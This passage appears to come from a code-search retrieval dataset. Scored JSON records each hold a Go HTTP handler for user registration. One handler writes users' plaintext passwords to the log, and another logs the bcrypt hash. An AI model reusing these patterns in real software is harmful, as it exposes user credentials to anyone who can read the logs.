{\n\t\t\thttp.Error(w, \"This Username is already in use\", 409)\n\t\t\treturn\n\t\t}\n\t\tlog.Println(\"New user\")\n\t\tlog.Println(\"username:\", r.Form[\"username\"])\n\t\tlog.Println(\"password:\", r.Form[\"password\"])\n\t\tlog.Println(\"first name:\", r.Form[\"firstName\"])\n\t\tlog.Println(\"last name:\", r.Form[\"lastName\"])\n\t\tlog.Println(\"Birth:\", r.Form[\"year\"])\n\n\t\tif r.Form[\"password\"][0] != r.Form[\"confirm_password\"][0] {\n\t\t\tExecuteHTML(w, \"templates/register.html\", \"password doesnt match\")\n\t\t\treturn\n\t\t}\n\t\tnewUser := database.User{\n\t\t\tObjectID: bson.NewObjectId(),\n\t\t\tUsername: r.Form[\"username\"][0],\n\t\t\tPassword: hashAndSalt(r.Form[\"password\"][0]),\n\t\t\tFirstName: r.Form[\"firstName\"][0],\n\t\t\tLastName: r.Form[\"lastName\"][0],\n\t\t\tYear: r.Form[\"year\"][0],\n\t\t\tAdmin: false,\n\t\t}\n\n\t\tdatabase.GlobalDBAdmin.AddUser(newUser)\n\t}\n}", "title": "" }, { "docid": "086c0e5b1cc928b2cd5830b95292859f", "score": "0.6900529", "text": "func (p *politeiawww) handleRegisterUser(w http.ResponseWriter, r *http.Request) {\n\tlog.Tracef(\"handleRegister\")\n\n\t// Get the new user command.\n\tvar u cms.RegisterUser\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&u); err != nil {\n\t\tRespondWithError(w, r, 0, \"handleRegisterUser: unmarshal\", www.UserError{\n\t\t\tErrorCode: www.ErrorStatusInvalidInput,\n\t\t})\n\t\treturn\n\t}\n\n\treply, err := p.processRegisterUser(u)\n\tif err != nil {\n\t\tRespondWithError(w, r, 0, \"handleRegisterUser: ProcessRegisterUser %v\", err)\n\t\treturn\n\t}\n\n\t// Reply with the verification token.\n\tutil.RespondWithJSON(w, http.StatusOK, reply)\n}", "title": "" }, { "docid": "7eb6e0aaa49c76accc0a33a64d65acb7", "score": "0.68245876", "text": "func createNewUserhandler(formatter *render.Render) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, req *http.Request) {\n\t\tvar ord user\n\t\t//uuid, _ := uuid.NewV4()\n\t\tdecoder := json.NewDecoder(req.Body)\n\t\terr := decoder.Decode(&ord)\n\t\t\n\t\tif err != nil {\n\t\t\tErrorWithJSON(w, \"Incorrect body\", http.StatusBadRequest)\n\t\t\tfmt.Println(\"[HANDLER DEBUG] \", err.Error())\n\t\t\treturn\n\t\t}\n\t\t\n\t\treqbody, _ := json.Marshal(ord)\n\t\t\n\t\tuser_id, _ := strconv.Atoi(ord.UserId)\n\t\tif (user_id%2==0){\n\t\t\tc1 := NewClient(server1)\n\t\t\t\t\n\t\tval_resp, err := c1.RegisterUser(ord.UserId,string(reqbody))\n\t\t\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t\tformatter.JSON(w, http.StatusBadRequest, err)\n\t\t} else {\n\t\t\tformatter.JSON(w, http.StatusOK, val_resp)\n\t\t}\n\t\t\n\t} else {\n\t\t{\n\t\t\tc2 := NewClient(server2)\n\t\tval_resp, err := c2.RegisterUser(ord.UserId,string(reqbody))\n\t\t\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t\tformatter.JSON(w, http.StatusBadRequest, err)\n\t\t} else {\n\t\t\tformatter.JSON(w, http.StatusOK, val_resp)\n\t\t}\n\t\t\n\t}\n\t}\n\t\t}\n\n\t\t\t\n\t}", "title": "" }, { "docid": "fdc8cdeed7baeace155a8161c97e9f59", "score": "0.67789817", "text": "func (reg *Register) HandleRegister(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\n\tcreds := model.Credentials{}\n\terr := json.NewDecoder(r.Body).Decode(&creds)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\terr = reg.validateUserNameLength(creds.UserName)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\terr = reg.validateUserNameAlphaNumeric(creds.UserName)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\terr = reg.validatePasswordLength(creds.Password)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\terr = reg.validatePasswordCharacters(creds.Password)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\terr = reg.UserRepository.AddUser(creds)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tjson.NewEncoder(w).Encode(model.NewException(err))\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "4e2941aeff99ca88d259216156cc18da", "score": "0.6761271", "text": "func (controller Controller) UserRegistrationHandler(writer http.ResponseWriter, request *http.Request) {\n\tdefer dispose.Dispose(request.Body.Close, \"Error while request body close\")\n\tctx, _ := context.WithTimeout(request.Context(), 10*time.Second)\n\tif request.Method == http.MethodPost {\n\t\tregistrationRequest, err := getUserRequestFromQuery(request)\n\t\tif err != nil {\n\t\t\tonError(writer, err)\n\t\t\treturn\n\t\t}\n\t\tuser, err := mapToUser(registrationRequest)\n\t\tif err != nil {\n\t\t\tonError(writer, err)\n\t\t\treturn\n\t\t}\n\t\terr = controller.repository.Insert(ctx, &user)\n\t\tif err != nil {\n\t\t\tonError(writer, err)\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b7a075115d22af462833816d5c72270e", "score": "0.67538697", "text": "func Registration(w http.ResponseWriter, r *http.Request) {\n\tlogEntry := logger.LogEntry(\"registration-handler\")\n\tvar user model.User\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\tif err != nil {\n\t\tSendBadRequest(w, err, logEntry)\n\t\treturn\n\t}\n\n\terr = userValidation(user)\n\tif err != nil {\n\t\tSendBadRequest(w, err, logEntry)\n\t\treturn\n\t}\n\n\tpassword, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tSendInternalServerError(w, err, logEntry)\n\t\treturn\n\t}\n\tuser.Password = string(password)\n\n\terr = model.Users().Add(user)\n\tif err != nil {\n\t\tSendInternalServerError(w, err, logEntry)\n\t\treturn\n\t}\n\n\tcreatedUser, err := model.Users().GetByLogin(user.Login)\n\tif err != nil {\n\t\tprocessDbErrors(w, err, logEntry)\n\t\treturn\n\t}\n\n\terr = SaveSession(w, r, createdUser.ID)\n\tif err != nil {\n\t\tSendInternalServerError(w, err, logEntry)\n\t\treturn\n\t}\n\trenderUser(w, http.StatusCreated, createdUser, logEntry)\n}", "title": "" }, { "docid": "a284ef78df04727d68b4e8d98451a4eb", "score": "0.67455214", "text": "func postRegister(svc linkSvc) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter, request *http.Request) {\n\t\t//json header check\n\t\tcontentType := request.Header.Get(\"Content-Type\")\n\t\tif contentType != \"application/json\" {\n\t\t\tResponseAPIError(w, 9, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tvar jsonUser = model.User{}\n\n\t\terr := json.NewDecoder(request.Body).Decode(&jsonUser)\n\t\tif err != nil {\n\t\t\tResponseAPIError(w, 400, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tvar err1 error\n\t\tjsonUser.Role = \"USER\"\n\t\tjsonUser.Balance = \"100.00\"\n\n\t\tUID, err1 := svc.PutUser(jsonUser)\n\n\t\tif err1 != nil {\n\t\t\tResponseAPIError(w, 10, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tlog.Printf(\"NEW USER %s (UID=%s) is registered\", jsonUser.Name, UID)\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n}", "title": "" }, { "docid": "b11561cf7094d7c0a40b8af1996d2d75", "score": "0.6648433", "text": "func (mh MWHandler) userRegister(next http.Handler) http.Handler {\n\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\tuser := new(app.User)\n\n\t\terr := json.NewDecoder(r.Body).Decode(&user)\n\t\tif err != nil {\n\t\t\tmh.Respond(w, http.StatusBadRequest, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif !helpers.ValidEmail(user.Email) {\n\t\t\tmh.Respond(w, http.StatusBadRequest, \" User email is invalid!\")\n\t\t\treturn\n\t\t}\n\n\t\tif len(user.Name) == 0 {\n\t\t\tmh.Respond(w, http.StatusBadRequest, \" User name is empty!\")\n\t\t\treturn\n\t\t}\n\n\t\tif len(user.Password) < 5 {\n\t\t\tmh.Respond(w, http.StatusBadRequest, \" Password should be at least 6 characters long!\")\n\t\t\treturn\n\t\t}\n\n\t\tctx := context.WithValue(r.Context(), \"user\", user)\n\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n\n}", "title": "" }, { "docid": "df9db97dd71c59abef05591bb87ef7d1", "score": "0.66248834", "text": "func (h Handler) makeRegisterNewUser(route string, v interface{}) (string, func(http.ResponseWriter, *http.Request)) {\n\n\ttype ResolutionValue struct {\n\t\tv string\n\t}\n\n\tutils.WriteToDocs(utils.APIDoc{\n\t\tRoute: route,\n\t\tResolutionValue: ResolutionValue{\n\t\t\tv: route,\n\t\t},\n\t})\n\n\treturn route, func(w http.ResponseWriter, r *http.Request) {\n\n\t\tdecoder := json.NewDecoder(r.Body)\n\t\tvar t struct {\n\t\t\tHandle string\n\t\t}\n\t\terr := decoder.Decode(&t)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif t.Handle == \"\" {\n\t\t\tpanic(utils.AppError{\n\t\t\t\tStatusCode: 409,\n\t\t\t\tMessage: \"Missing handle property in request body.\",\n\t\t\t})\n\t\t}\n\n\t\tdb := dbs.GetDatabaseConnection()\n\n\t\ttx, err := db.Begin()\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tp := person.Model{Handle: t.Handle}\n\n\t\tvar id int\n\t\terr = tx.QueryRow(\"INSERT INTO person (handle,email,firstname,lastname) VALUES ($1, $2, $3, $4) RETURNING ID\", p.Handle, p.Email, p.Firstname, p.Lastname).Scan(&id)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tdb.Exec(getTableCreationCommands(id))\n\t\terr = tx.Commit()\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tjson.NewEncoder(w).Encode(ResolutionValue{\"foo\"})\n\n\t\tjson.NewEncoder(w).Encode(struct {\n\t\t\tID string\n\t\t}{\n\t\t\tfmt.Sprintf(\"%d\", id),\n\t\t})\n\t}\n}", "title": "" }, { "docid": "864abdbb825216ddcf3687e8d846fe93", "score": "0.6605208", "text": "func (s *EkadashiBot) handleRegistration(username string) error {\n\tpassword := generateHash(username)\n\tuserRequest, err := marshalMessage(username, password)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot unmarshal user: %v\", err)\n\t}\n\tresp, err := http.Post(s.serverURL+s.registerURL, \"application/json\", userRequest)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot send request: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\terrorMessage := new(errorMessage)\n\t\terr := json.NewDecoder(resp.Body).Decode(&errorMessage)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"cannot decode request: %v\", err)\n\t\t}\n\t\tif resp.StatusCode != http.StatusConflict {\n\t\t\treturn fmt.Errorf(\"cannot register user: %v %v %v\", resp.Status, resp.Header, errorMessage.Reason)\n\t\t}\n\t}\n\terr = s.addUser(User{ID: username, Password: password})\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = s.handleLogin(username)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot login user: %v\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "faf57628b3085289a8c7f9b47fb0427f", "score": "0.6586636", "text": "func (u *UserHandler) Register(w http.ResponseWriter, r *http.Request) {\n\tuser := models.User{\n\t\tID: primitive.NewObjectID(),\n\t}\n\tjson.NewDecoder(r.Body).Decode(&user)\n\terr := u.UUsecase.Register(user)\n\n\tif err != nil {\n\t\tresponse.Error(w, http.StatusBadRequest, err.Error())\n\t} else {\n\t\tresponse.JSON(w, http.StatusOK, map[string]string{\n\t\t\t\"message\": \"Successfully Register New User\",\n\t\t})\n\t}\n}", "title": "" }, { "docid": "0c24f6ae4893507354cdbb48d00c29f1", "score": "0.6559169", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\t// If it is a post request, attempt to register the account\n\t// Now that we are all registered, we can log the user in\n\tparams := struct {\n\t\tTitle string\n\t\tFlashes []interface{}\n\t\tUser models.User\n\t\tToken string\n\t}{Title: \"Register\", Token: nosurf.Token(r)}\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tswitch {\n\tcase r.Method == \"GET\":\n\t\tparams.Flashes = session.Flashes()\n\t\tsession.Save(r, w)\n\t\ttemplates := template.New(\"template\")\n\t\ttemplates.Delims(templateDelims[0], templateDelims[1])\n\t\t_, err := templates.ParseFiles(\"templates/register.html\", \"templates/flashes.html\")\n\t\tif err != nil {\n\t\t\tLogger.Println(err)\n\t\t}\n\t\ttemplate.Must(templates, err).ExecuteTemplate(w, \"base\", params)\n\tcase r.Method == \"POST\":\n\t\t//Attempt to register\n\t\tsucc, err := auth.Register(r)\n\t\t//If we've registered, redirect to the login page\n\t\tif succ {\n\t\t\tsession.AddFlash(models.Flash{\n\t\t\t\tType: \"success\",\n\t\t\t\tMessage: \"Registration successful!.\",\n\t\t\t})\n\t\t\tsession.Save(r, w)\n\t\t\thttp.Redirect(w, r, \"/login\", 302)\n\t\t} else {\n\t\t\t// Check the error\n\t\t\tm := \"\"\n\t\t\tif err == models.ErrUsernameTaken {\n\t\t\t\tm = \"Username already taken\"\n\t\t\t} else {\n\t\t\t\tm = \"Unknown error - please try again\"\n\t\t\t\tLogger.Println(err)\n\t\t\t}\n\t\t\tsession.AddFlash(models.Flash{\n\t\t\t\tType: \"danger\",\n\t\t\t\tMessage: m,\n\t\t\t})\n\t\t\tsession.Save(r, w)\n\t\t\thttp.Redirect(w, r, \"/register\", 302)\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "76316d35ccd994fc47d1ac0c62661f51", "score": "0.65572166", "text": "func RegisterHandler(w http.ResponseWriter, r *http.Request) {\n\tlogRequest(r)\n\tbrowserResponse := &Response{}\n\tswitch r.Method {\n\tcase http.MethodPost:\n\n\t\t// Bind the request from the browser to an Oxipay Registration Payload\n\t\tregistrationPayload, err := bindToRegistrationPayload(r)\n\n\t\tif err != nil {\n\t\t\tbrowserResponse.HTTPStatus = http.StatusBadRequest\n\t\t\tbrowserResponse.Message = err.Error()\n\t\t\tsendResponse(w, r, browserResponse)\n\t\t}\n\n\t\terr = registrationPayload.Validate()\n\t\tif err != nil {\n\t\t\tbrowserResponse.HTTPStatus = http.StatusBadRequest\n\t\t\tbrowserResponse.Message = err.Error()\n\t\t\tsendResponse(w, r, browserResponse)\n\t\t\treturn\n\t\t}\n\n\t\tvendPaymentRequest, err := getPaymentRequestFromSession(r)\n\t\tif err == nil {\n\n\t\t\t// sign the message\n\t\t\tregistrationPayload.Signature = oxipay.SignMessage(oxipay.GeneratePlainTextSignature(registrationPayload), registrationPayload.DeviceToken)\n\n\t\t\t// submit to oxipay\n\t\t\tresponse, err := oxipayClient.RegisterPosDevice(registrationPayload)\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(err)\n\t\t\t\tbrowserResponse.Message = \"We are unable to process this request \"\n\t\t\t\tbrowserResponse.HTTPStatus = http.StatusBadGateway\n\t\t\t}\n\n\t\t\t// ensure the response came from Oxipay\n\t\t\tsignedResponse, err := response.Authenticate(registrationPayload.DeviceToken)\n\t\t\tif !signedResponse || err != nil {\n\t\t\t\tbrowserResponse.Message = \"The signature returned from Oxipay does not match the expected signature\"\n\t\t\t\tbrowserResponse.HTTPStatus = http.StatusBadRequest\n\t\t\t} else {\n\t\t\t\t// process the response\n\t\t\t\tbrowserResponse = processOxipayResponse(response, oxipay.Registration, \"\")\n\t\t\t\tif browserResponse.Status == statusAccepted {\n\t\t\t\t\tlog.Info(\"Device Successfully Registered in Oxipay\")\n\n\t\t\t\t\tregister := terminal.NewRegister(\n\t\t\t\t\t\tresponse.Key,\n\t\t\t\t\t\tregistrationPayload.DeviceID,\n\t\t\t\t\t\tregistrationPayload.MerchantID,\n\t\t\t\t\t\tvendPaymentRequest.Origin,\n\t\t\t\t\t\tvendPaymentRequest.RegisterID,\n\t\t\t\t\t)\n\n\t\t\t\t\t_, err := term.Save(\"vend-proxy\", register)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Error(err)\n\t\t\t\t\t\tbrowserResponse.Message = \"Unable to process request\"\n\t\t\t\t\t\tbrowserResponse.HTTPStatus = http.StatusServiceUnavailable\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbrowserResponse.file = \"../assets/templates/register_success.html\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Error(err.Error())\n\t\t\tbrowserResponse.Message = \"Sorry. We are unable to process this registration. Please contact support\"\n\t\t\tbrowserResponse.HTTPStatus = http.StatusBadRequest\n\t\t}\n\tdefault:\n\t\tbrowserResponse.HTTPStatus = http.StatusOK\n\t\tbrowserResponse.file = \"../assets/templates/register.html\"\n\t}\n\n\tlog.Print(browserResponse.Message)\n\tsendResponse(w, r, browserResponse)\n\treturn\n}", "title": "" }, { "docid": "a699ca76363e3bed969bae824b2555bc", "score": "0.65391463", "text": "func signupHandler(w http.ResponseWriter, r *http.Request) {\n\t//request body should contain a user\n\n\t//check if the username already exists\n\n\t// will return http.StatusBadRequest if username already exists\n\n\n\n}", "title": "" }, { "docid": "70e27ca957ba989422c6eaf8519b7ca1", "score": "0.6539045", "text": "func (u *Router)RegisterUserHandler(w http.ResponseWriter, r* http.Request){\n\t\n\tvar registerRequestObj RegisterRequest\n\terr := json.NewDecoder(r.Body).Decode(&registerRequestObj)\n\tif err != nil || registerRequestObj.UserID == \"\" || registerRequestObj.Password == \"\"{\n\t\tutils.RespondWithError(w, http.StatusBadRequest, \"invalid register json request\")\n\t\treturn\n\t}\n\n\t//check if user already exists\n\tdbuser, err := u.userstore.GetUserByEmailID(registerRequestObj.UserID)\n\tif(err != nil && err == sql.ErrNoRows){\t//new user (user doesnt exist) \n\n\t\tnewuser := database.User{EmailID:registerRequestObj.UserID}\n\t\t//Create a random salt and password hash store it in same user database\n\t\tnewuser.PasswordHash, err = utils.HashPassword(registerRequestObj.Password)\n\t\tif err != nil{\n\t\t\tutils.RespondWithError(w, http.StatusInternalServerError, \"error processing password\")\n\t\t\treturn\n\t\t}\n\n\t\t//Create a random activation code and store it in database\n\t\t//TODO: can think of using an in-memory database in future for storing OTP information\n\t\tnewuser.ActivationCode = utils.GenerateRandomNumber(6)\t//6 digit code\n\t\terr = u.userstore.CreateUser(&newuser)\n\t\tif err != nil{\n\t\t\tutils.RespondWithError(w, http.StatusInternalServerError, \"error creating user\")\n\t\t\treturn\n\t\t}\n\n\t\t//Send activation code to verify email ID\n\t\t//TODO: send email\n\n\t\tresp := RegisterResponse{Status : \"awaiting verification\"}\n\t\tutils.RespondWithJSON(w, http.StatusOK, resp)\n\t\treturn\n\t} else if (err != nil){\n\t\tutils.RespondWithError(w, http.StatusInternalServerError, \"internal error \" + err.Error())\n\t\treturn\n\t} \n\t//else error is nil - user already exists\n\t//if is_active or is_verified is true simply ignore the request\n\tif(dbuser.IsActive == true){\n\t\tresp := RegisterResponse{Status : \"user already registered\"}\n\t\tutils.RespondWithJSON(w, http.StatusCreated, resp)\n\t\treturn\n\t}\n\n\t//send activation code if user is not verified yet\n\t//TODO: send email\n\n\tresp := RegisterResponse{Status : \"awaiting verification\"}\n\tutils.RespondWithJSON(w, http.StatusOK, resp)\n\n\treturn\n\t\n}", "title": "" }, { "docid": "97ee2fb3cd0c4eff05c26925c2a9bd19", "score": "0.6530884", "text": "func PostRegisterUserHandler(w http.ResponseWriter, r *http.Request) {\n\tsession := GetSession(w, r)\n\tif ok := session.Values[\"user_id\"] != nil; ok {\n\t\trouteName := fmt.Sprintf(\"/%s\", session.Values[\"username\"])\n\t\thttp.Redirect(w, r, routeName, http.StatusFound)\n\t}\n\tusername := r.FormValue(\"username\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tpassword2 := r.FormValue(\"password2\")\n\n\tuser := models.UserCreateRequest{\n\t\tUsername: username,\n\t\tEmail: email,\n\t\tPassword: password,\n\t\tPassword2: password2,\n\t}\n\terr := services.CreateUser(user)\n\n\tif err != nil {\n\t\tdata := models.PageData{\n\t\t\t\"error\": err,\n\t\t}\n\t\tredirectToRegister(w, data)\n\t\treturn\n\t}\n\n\tAddFlash(session, w, r, \"You are now registered ?\", username)\n\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n}", "title": "" }, { "docid": "72ec4c8e24fae14b60e55f3b3462b4f8", "score": "0.6509117", "text": "func (handler UserHandler) Register(w http.ResponseWriter, r *http.Request) {\n\tvar user models.User\n\n\tif err := json.NewDecoder(r.Body).Decode(&user); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tuser.ID = bson.NewObjectIdWithTime(time.Now())\n\n\tif err := handler.Dao.Register(user); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tcreated, err := handler.Dao.FindById(user.ID)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse := map[string]interface{}{\n\t\t\"message\": \"Usuário criado com sucesso!\",\n\t\t\"data\": created,\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n\tjson.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "5df962159c0b11b2fc9189f131ae0136", "score": "0.64598626", "text": "func (env *Env) RegisterHandler(w http.ResponseWriter, req *http.Request) {\n\tvar creds *model.Credentials\n\t_ = json.NewDecoder(req.Body).Decode(&creds)\n\n\terr := env.db.Register(creds)\n\tif err != nil {\n\t\tw.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\n\tjson.NewEncoder(w).Encode(creds)\n}", "title": "" }, { "docid": "f315775bfd7382640d7c72a539abfe3f", "score": "0.6455816", "text": "func register(w http.ResponseWriter, r *http.Request) {\n\t// fmt.Println(\"registered r.method: \", r.Method)\n\tif r.Method != http.MethodPost {\n\n\t\t// https://golang.org/pkg/net/url/#QueryEscape\n\t\t// func QueryEscape(s string) string\n\t\t// QueryEscape escapes the string so it can be safely placed inside a URL query.\n\t\tmsg := url.QueryEscape(\"your method was not post\")\n\t\thttp.Redirect(w, r, \"/?msg=\"+msg, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\te := r.FormValue(\"form_email\")\n\tif e == \"\" {\n\t\tmsg := url.QueryEscape(\"your email needs to not be empty\")\n\t\thttp.Redirect(w, r, \"/?msg=\"+msg, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tp := r.FormValue(\"form_password\")\n\tif p == \"\" {\n\t\tmsg := url.QueryEscape(\"your password needs to not be empty\")\n\t\thttp.Redirect(w, r, \"/?msg=\"+msg, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tf := r.FormValue(\"form_first\")\n\tif f == \"\" {\n\t\tmsg := url.QueryEscape(\"your first name needs to not be empty\")\n\t\thttp.Redirect(w, r, \"/?msg=\"+msg, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\t// byte password\n\t// func GenerateFromPassword(password []byte, cost int) ([]byte, error)\n\t// GenerateFromPassword returns the bcrypt hash of the password at the given cost.\n\tbsp, err := bcrypt.GenerateFromPassword([]byte(p), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tmsg := \"there was an internal server error\"\n\t\thttp.Error(w, msg, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tlog.Println(\"registered password: \", e)\n\tlog.Println(\"registered bcrypted: \", bsp)\n\t// store credentials in the user map\n\tdb[e] = user{\n\t\tpassword: bsp,\n\t\tFirst: f,\n\t}\n\n\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n}", "title": "" }, { "docid": "0683230199a884aaf7ecdc33fc342e91", "score": "0.6450229", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tvar newUser db.User\n\n\tif err := json.NewDecoder(r.Body).Decode(&newUser); err != nil {\n\t\tutil.Logf(\"invalid json payload received : %s\", err.Error())\n\t\tmsg := common.MetaStatus{Code: common.Fail, Msg: \"Failed: Invalid json payload received\"}\n\t\treturnResponse(w, http.StatusBadRequest, msg)\n\t\treturn\n\t}\n\n\tif newUser.FName == \"\" || newUser.DOB == \"\" || newUser.Address == \"\" || newUser.ContactNo == \"\" || newUser.Email == \"\" || newUser.Password == \"\" {\n\t\tutil.Logf(\"Empty fields found\")\n\t\tmsg := common.MetaStatus{Code: common.Fail, Msg: \"Failed: Empty fields found\"}\n\t\treturnResponse(w, http.StatusBadRequest, msg)\n\t\treturn\n\t}\n\n\tif isPresent, err := mongoOp.UserExist(newUser); err != nil {\n\t\thttp.Error(w, http.StatusText(500), http.StatusInternalServerError)\n\t} else if isPresent {\n\t\tmsg := common.MetaStatus{Code: common.Fail, Msg: \"Failed: User Already Exists\"}\n\t\treturnResponse(w, http.StatusForbidden, msg)\n\t\treturn\n\t}\n\n\tif err := mongoOp.RegisterUser(newUser); err != nil {\n\t\thttp.Error(w, http.StatusText(500), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tmsg := common.MetaStatus{Code: common.Success, Msg: \"Registration Successful\"}\n\treturnResponse(w, http.StatusBadRequest, msg)\n}", "title": "" }, { "docid": "eeefc8b0158a33c5862569d7168c7b88", "score": "0.64481", "text": "func (h *Headscale) RegistrationHandler(c *gin.Context) {\n\tbody, _ := io.ReadAll(c.Request.Body)\n\tmKeyStr := c.Param(\"id\")\n\tmKey, err := wgkey.ParseHex(mKeyStr)\n\tif err != nil {\n\t\tlog.Error().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tErr(err).\n\t\t\tMsg(\"Cannot parse machine key\")\n\t\tc.String(http.StatusInternalServerError, \"Sad!\")\n\t\treturn\n\t}\n\treq := tailcfg.RegisterRequest{}\n\terr = decode(body, &req, &mKey, h.privateKey)\n\tif err != nil {\n\t\tlog.Error().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tErr(err).\n\t\t\tMsg(\"Cannot decode message\")\n\t\tc.String(http.StatusInternalServerError, \"Very sad!\")\n\t\treturn\n\t}\n\n\tvar m Machine\n\tif result := h.db.Preload(\"Namespace\").First(&m, \"machine_key = ?\", mKey.HexString()); errors.Is(result.Error, gorm.ErrRecordNotFound) {\n\t\tlog.Info().Str(\"machine\", req.Hostinfo.Hostname).Msg(\"New machine\")\n\t\tm = Machine{\n\t\t\tExpiry: &req.Expiry,\n\t\t\tMachineKey: mKey.HexString(),\n\t\t\tName: req.Hostinfo.Hostname,\n\t\t\tNodeKey: wgkey.Key(req.NodeKey).HexString(),\n\t\t}\n\t\tif err := h.db.Create(&m).Error; err != nil {\n\t\t\tlog.Error().\n\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"Could not create row\")\n\t\t\treturn\n\t\t}\n\t}\n\n\tif !m.Registered && req.Auth.AuthKey != \"\" {\n\t\th.handleAuthKey(c, h.db, mKey, req, m)\n\t\treturn\n\t}\n\n\tresp := tailcfg.RegisterResponse{}\n\n\t// We have the updated key!\n\tif m.NodeKey == wgkey.Key(req.NodeKey).HexString() {\n\t\tif m.Registered {\n\t\t\tlog.Debug().\n\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\tStr(\"machine\", m.Name).\n\t\t\t\tMsg(\"Client is registered and we have the current NodeKey. All clear to /map\")\n\n\t\t\tresp.AuthURL = \"\"\n\t\t\tresp.MachineAuthorized = true\n\t\t\tresp.User = *m.Namespace.toUser()\n\t\t\trespBody, err := encode(resp, &mKey, h.privateKey)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().\n\t\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\t\tErr(err).\n\t\t\t\t\tMsg(\"Cannot encode message\")\n\t\t\t\tc.String(http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.Data(200, \"application/json; charset=utf-8\", respBody)\n\t\t\treturn\n\t\t}\n\n\t\tlog.Debug().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tStr(\"machine\", m.Name).\n\t\t\tMsg(\"Not registered and not NodeKey rotation. Sending a authurl to register\")\n\t\tresp.AuthURL = fmt.Sprintf(\"%s/register?key=%s\",\n\t\t\th.cfg.ServerURL, mKey.HexString())\n\t\trespBody, err := encode(resp, &mKey, 